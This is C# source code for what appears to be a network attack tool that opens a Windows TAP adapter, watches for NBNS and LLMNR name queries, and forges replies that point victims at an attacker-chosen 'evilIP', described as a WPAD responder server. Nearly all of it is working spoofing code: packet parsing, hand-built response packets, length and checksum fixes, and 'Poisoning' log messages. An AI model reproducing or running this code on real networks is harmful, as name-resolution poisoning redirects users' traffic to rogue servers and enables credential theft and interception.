static void Main(string[] args) { PrintCoolScreen(); string devGuid = "{BA052E6C-053B-4276-976B-06C1E9DA3EAF}"; // if (args.Length >= 2) { devGuid = args[0]; evilIP = args[1]; } else { Console.WriteLine("ERROR: wrong args"); Console.WriteLine("USAGE: tap.exe <deviceGUID> <IP of responder wpad server>"); Environment.Exit(-1); } //attempt to open a handle to this device const string UsermodeDeviceSpace = "\\\\.\\Global\\"; Console.WriteLine("> Starting with device guid: " + devGuid); IntPtr ptr = CreateFile(UsermodeDeviceSpace + devGuid + ".tap", FileAccess.ReadWrite, FileShare.ReadWrite, 0, FileMode.Open, FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED, IntPtr.Zero); int len; IntPtr pstatus = Marshal.AllocHGlobal(4); Marshal.WriteInt32(pstatus, 1); DeviceIoControl(ptr, TAP_CONTROL_CODE(6, METHOD_BUFFERED) /* TAP_IOCTL_SET_MEDIA_STATUS */, pstatus, 4, pstatus, 4, out len, IntPtr.Zero); IntPtr ptun = Marshal.AllocHGlobal(12); Marshal.WriteInt32(ptun, 0, 0x012cfea9); //IP address Marshal.WriteInt32(ptun, 4, 0x002cfea9); // subnet Marshal.WriteInt32(ptun, 8, unchecked ((int)0x0000ffff)); //0x00ffffff - mask DeviceIoControl(ptr, TAP_CONTROL_CODE(10, METHOD_BUFFERED) /* TAP_IOCTL_CONFIG_TUN */, ptun, 12, ptun, 12, out len, IntPtr.Zero); Tap = new FileStream(ptr, FileAccess.ReadWrite, true, 10000, true); object state = new int(); WaitObject = new EventWaitHandle(false, EventResetMode.AutoReset); object state2 = new int(); WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset); AsyncCallback readCallback = new AsyncCallback(ReadDataCallback); AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback); IAsyncResult res, res2; Console.WriteLine("> Started listening..."); while (true) { res = Tap.BeginRead(buf, 0, 10000, readCallback, state); WaitObject.WaitOne(); // make sure this is an IPv4 frame byte[] etherType = EtherField.GetField(buf, EtherField.EtherType); if (etherType[0] == 8 && etherType[1] == 0) { // is it UDP? byte tcpType = (EtherField.GetField(buf, EtherField.TCPProto))[0]; if (tcpType == 0x11) { // look for interesting stuff based on the dest/src ports byte[] ports = EtherField.GetField(buf, EtherField.UDPDstPort); int DstPort = ports[0] << 8 | ports[1]; ports = EtherField.GetField(buf, EtherField.UDPSrcPort); int SrcPort = ports[0] << 8 | ports[1]; if (SrcPort == 137 && DstPort == 137) { doNbnsSpoof(buf); // spoof nbns response } else if (DstPort == 5355) { doLLMNRSpoof(buf); // spoof LLMNR response } } } } }
/// <summary> /// NBNS spoof, responds with an answer to a question but with EvilIP as the address /// </summary> /// <param name="inPacket"></param> public static void doNbnsSpoof(byte[] inPacket) { // read the query name, 32 bytes from questionstart String nameString = ""; int nameLength = 0; byte[] bufTest = EtherField.GetField(inPacket, EtherField.NBNSQuestionStart); for (int i = 0; i < 32; i += 2) { // decode the name int nibbleUpper = bufTest[i + 1] - 0x41; int nibbleLower = bufTest[i + 2] - 0x41; nameString += Convert.ToChar(nibbleUpper << 4 | nibbleLower); nameLength = i; } byte[] srcMac = EtherField.GetField(inPacket, EtherField.SrcMac); byte[] dstMac = EtherField.GetField(inPacket, EtherField.DstMac); byte[] transId = EtherField.GetField(inPacket, EtherField.NBNSTransId); byte[] dstIP = EtherField.GetField(inPacket, EtherField.IPSrc); Console.WriteLine("> Poisoning NBNS response for " + nameString + " for client: " + PrettyIp(dstIP)); // construct our data, ether frame -> IP -> udp -> nbns List <byte> responsePacket = GetEthernetFrame(srcMac, dstMac); responsePacket.AddRange(GetIPPacket(dstIP)); responsePacket.AddRange(GetUDPHeader(137, 137)); //now add the NBNS response //transction id responsePacket.Add(transId[0]); responsePacket.Add(transId[1]); //flags responsePacket.Add((byte)0x85); responsePacket.Add((byte)0x00); //questions responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); //answers responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x01); //auth rr responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); //additional rr responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); //original query name byte[] originalName = EtherField.GetField(buf, EtherField.NBNSQuestionStart); foreach (byte b in originalName) { responsePacket.Add(b); } responsePacket.Add(0x00); //original type responsePacket.Add(inPacket[88]); responsePacket.Add(inPacket[89]); // class responsePacket.Add(inPacket[90]); responsePacket.Add(inPacket[91]); //ttl responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); responsePacket.Add((byte)0xe0); //data length responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x06); //flags bnode? responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); // evil response address foreach (String c in evilIP.Split('.')) { int v = Convert.ToInt32(c); byte b = Convert.ToByte(v); responsePacket.Add(b); } //update the IP length field (16 and 17) int len = responsePacket.Count - 14; byte lenUpper = (byte)(len >> 8); byte lenLower = (byte)len; responsePacket[16] = lenUpper; responsePacket[17] = lenLower; //and udp.. len = responsePacket.Count - 34; lenUpper = (byte)(len >> 8); lenLower = (byte)len; responsePacket[38] = lenUpper; responsePacket[39] = lenLower; //update checksum responsePacket = UpdateIPChecksum(responsePacket); IAsyncResult res2; WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset); AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback); object state2 = new int(); res2 = Tap.BeginWrite(responsePacket.ToArray(), 0, responsePacket.Count, writeCallback, state2); WaitObject2.WaitOne(); }
//type and class are 2 bytes but variable pos due to name length public static byte[] GetField(byte[] buf, EtherField field) { return(buf.Skip(field.offset).Take(field.length).ToArray()); }
/// <summary> /// Spoof an llmnr response, sends back a forged packet aimed at the sender with the /// EvilIP as the response /// </summary> /// <param name="inPacket"></param> public static void doLLMNRSpoof(byte[] inPacket) { int nameLen = EtherField.GetField(inPacket, EtherField.LLMNRNameLength)[0]; String name = System.Text.Encoding.Default.GetString(buf.Skip(EtherField.LLMNRNameBytes.offset).Take(nameLen).ToArray()); byte[] srcMac = EtherField.GetField(inPacket, EtherField.SrcMac); byte[] dstMac = EtherField.GetField(inPacket, EtherField.DstMac); byte[] dstIP = EtherField.GetField(inPacket, EtherField.IPSrc); byte[] srcPort = EtherField.GetField(inPacket, EtherField.UDPSrcPort); int srcPortInt = ((int)srcPort[0] << 8) | (int)srcPort[1]; Console.WriteLine("> Poisoning LLMNR request for " + name + " from IP: " + PrettyIp(dstIP)); List <byte> responsePacket = GetEthernetFrame(srcMac, dstMac); responsePacket.AddRange(GetIPPacket(dstIP)); responsePacket.AddRange(GetUDPHeader(5355, srcPortInt)); responsePacket.AddRange(EtherField.GetField(inPacket, EtherField.LLMNRTransId)); //tid responsePacket.AddRange(new byte[] { 0x80, 0x00 }); //flags // q |rr |auth | otherrr responsePacket.AddRange(new byte[] { 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 }); //add original query here byte[] originalQuery = inPacket.Skip(54).Take(nameLen + 2 + 2 + 2).ToArray(); responsePacket.AddRange(originalQuery); //answers responsePacket.Add((byte)name.Length); responsePacket.AddRange(inPacket.Skip(EtherField.LLMNRNameBytes.offset).Take(nameLen).ToArray()); responsePacket.Add(0x00); //answer types (A record, Hostname) responsePacket.AddRange(new byte[] { 0x00, 0x01, 0x00, 0x01 }); //ttl responsePacket.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x1e }); //data responsePacket.AddRange(new byte[] { 0x00, 0x04 }); // fake address foreach (String c in evilIP.Split('.')) { int v = Convert.ToInt32(c); byte b = Convert.ToByte(v); responsePacket.Add(b); } //update the IP length field (16 and 17) int len = responsePacket.Count - 14; byte lenUpper = (byte)(len >> 8); byte lenLower = (byte)len; responsePacket[16] = lenUpper; responsePacket[17] = lenLower; //and udp.. len = responsePacket.Count - 34; lenUpper = (byte)(len >> 8); lenLower = (byte)len; responsePacket[38] = lenUpper; responsePacket[39] = lenLower; // update the IP checksum so windows doesnt drop the packet responsePacket = UpdateIPChecksum(responsePacket); // send it! IAsyncResult res2; WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset); AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback); object state2 = new int(); res2 = Tap.BeginWrite(responsePacket.ToArray(), 0, responsePacket.Count, writeCallback, state2); WaitObject2.WaitOne(); }